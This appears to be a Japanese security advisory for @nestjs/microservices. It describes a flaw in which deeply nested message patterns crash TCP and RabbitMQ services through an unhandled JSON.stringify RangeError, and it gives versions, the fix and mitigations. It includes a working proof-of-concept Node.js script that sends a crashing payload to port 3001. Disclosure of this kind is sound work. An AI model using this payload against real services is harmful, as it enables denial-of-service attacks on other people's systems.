Nest: 深くネストされたマイクロサービスメッセージパターンによるリモートプロセス終了
| フィールド | 値 |
| --- | --- |
| エコシステム | npm |
| パッケージ | `@nestjs/microservices` |
| 影響を受けるバージョン | `>= 12.0.0, < 12.0.2` および `< 11.2.4` |
| 修正されたバージョン | `12.0.2` および `11.2.4` (バージョン `12.0.3` / `11.2.5` へのアップグレードを推奨) |
### 概要
`pattern` が深くネストされたオブジェクトである単一のメッセージが、TCPまたはRabbitMQトランスポートを使用するNestJSマイクロサービスを終了させます。サーバーは、クライアントから提供されたパターンを `JSON.stringify` でシリアライズして、ハンドラ検索キーを導出します。深くネストされた入力の場合、`RangeError: Maximum call stack size exceeded` (最大コールスタックサイズ超過) エラーが発生します。この例外は、非同期メッセージハンドラから未処理のプロミス拒否としてエスケープされ、デフォルトの `--unhandled-rejections=throw` 設定下でNode.jsプロセスが終了します。
### 影響
サービス拒否 (DoS) 攻撃が発生し、1つのメッセージごとにクラッシュが発生し、再現可能です。攻撃者は、トランスポートにアクセスできる必要があります。具体的には、TCPトランスポートのポートに接続するか、サービスが消費するキューまたはエクスチェンジにメッセージを送信する必要があります。TCPトランスポートはデフォルトで認証を行わないため、アクセス可能なポートであれば、それ以上の要件はありません。
**TCP** および **RabbitMQ** トランスポートのみが影響を受けます。他のトランスポートは、パターンをブローカートピックまたはチャネルからの文字列として受け取り、クライアントから提供されたオブジェクトをシリアライズして構築することはありません。
### 詳細
`ServerTCP#handleMessage` および `ServerRMQ#handleMessage` では、ガードなしでパターンが文字列化されていました。
```ts
const pattern = isString(packet.pattern)
? packet.pattern
: JSON.stringify(packet.pattern);
```
`JSON.parse` は、`JSON.stringify` が再シリアライズできないネストの深さを許容します。`JSON.stringify` はネイティブに再帰処理を行うため、攻撃者は、受信時に正常に解析されるものの、パターンが文字列に変換される際にエラーを発生させるペイロードを作成できます。どちらのトランスポートも、`handleMessage` が返すプロミスに拒否ハンドラをアタッチしていなかったため、`RangeError` が未処理の拒否として外部に伝播しました。
### 概念実証
NestJSのマイクロサービスに対して、TCPトランスポート(デフォルトポート3001)を使用。ネストされたJSONは、`JSON.stringify`ではなく、テキストとして構築されます。これにより、攻撃者はペイロードをシリアライズできますが、被害者はできません。
```js
const { connect } = require('node:net');
const DEPTH = 100_000;
const pattern = '{"nested":'.repeat(DEPTH) + '{}' + '}'.repeat(DEPTH);
const payload = `{"pattern":${pattern},"data":null,"id":"1"}`;
const socket = connect(3001, '127.0.0.1', () => {
// NestのTCPフレームは、<バイト数>#<JSON>の形式です。
socket.write(`${Buffer.byteLength(payload)}#${payload}`);
});
```
このサービスは、`RangeError: Maximum call stack size exceeded`(最大コールスタックサイズ超過)で終了します。同様のペイロードを、RabbitMQトランスポートサービスに送信すると、サービスがクラッシュします。
### 修正
**12.0.2**および**11.2.4**で修正されました。
- 受信したパターンは、保護された`Server#getPatternAsString`によって変換されます。この関数は、ハンドラに一致しない特定の値を返し、メッセージが処理されなかった場合に、通常の「メッセージハンドラなし」の応答(TCPの場合)または、ネガティブな応答(RabbitMQの場合)を送信します。これにより、プロセスがクラッシュするのを防ぎます。
- 両方のトランスポートにおける`handleMessage`からの例外は、未処理のままになるのではなく、`handleError`にルーティングされます。
### 対策
アップグレードできない場合は、ネットワークアクセスを制限して、信頼できるピアのみがトランスポートにアクセスできるようにします。プロセスを`--unhandled-rejections=warn`オプションで実行すると、クラッシュは回避できますが、メッセージは処理されず、これは修正の代わりにはなりません。
### 貢献者
ZeroVuln Labsによって報告されました。
影響を受けるパッケージ:
- npm (JavaScript) @nestjs/microservices: 11.2.4未満が影響を受け、11.2.4で修正されました。
- npm (JavaScript) @nestjs/microservices: 12.0.0以上、12.0.2未満が影響を受け、12.0.2で修正されました。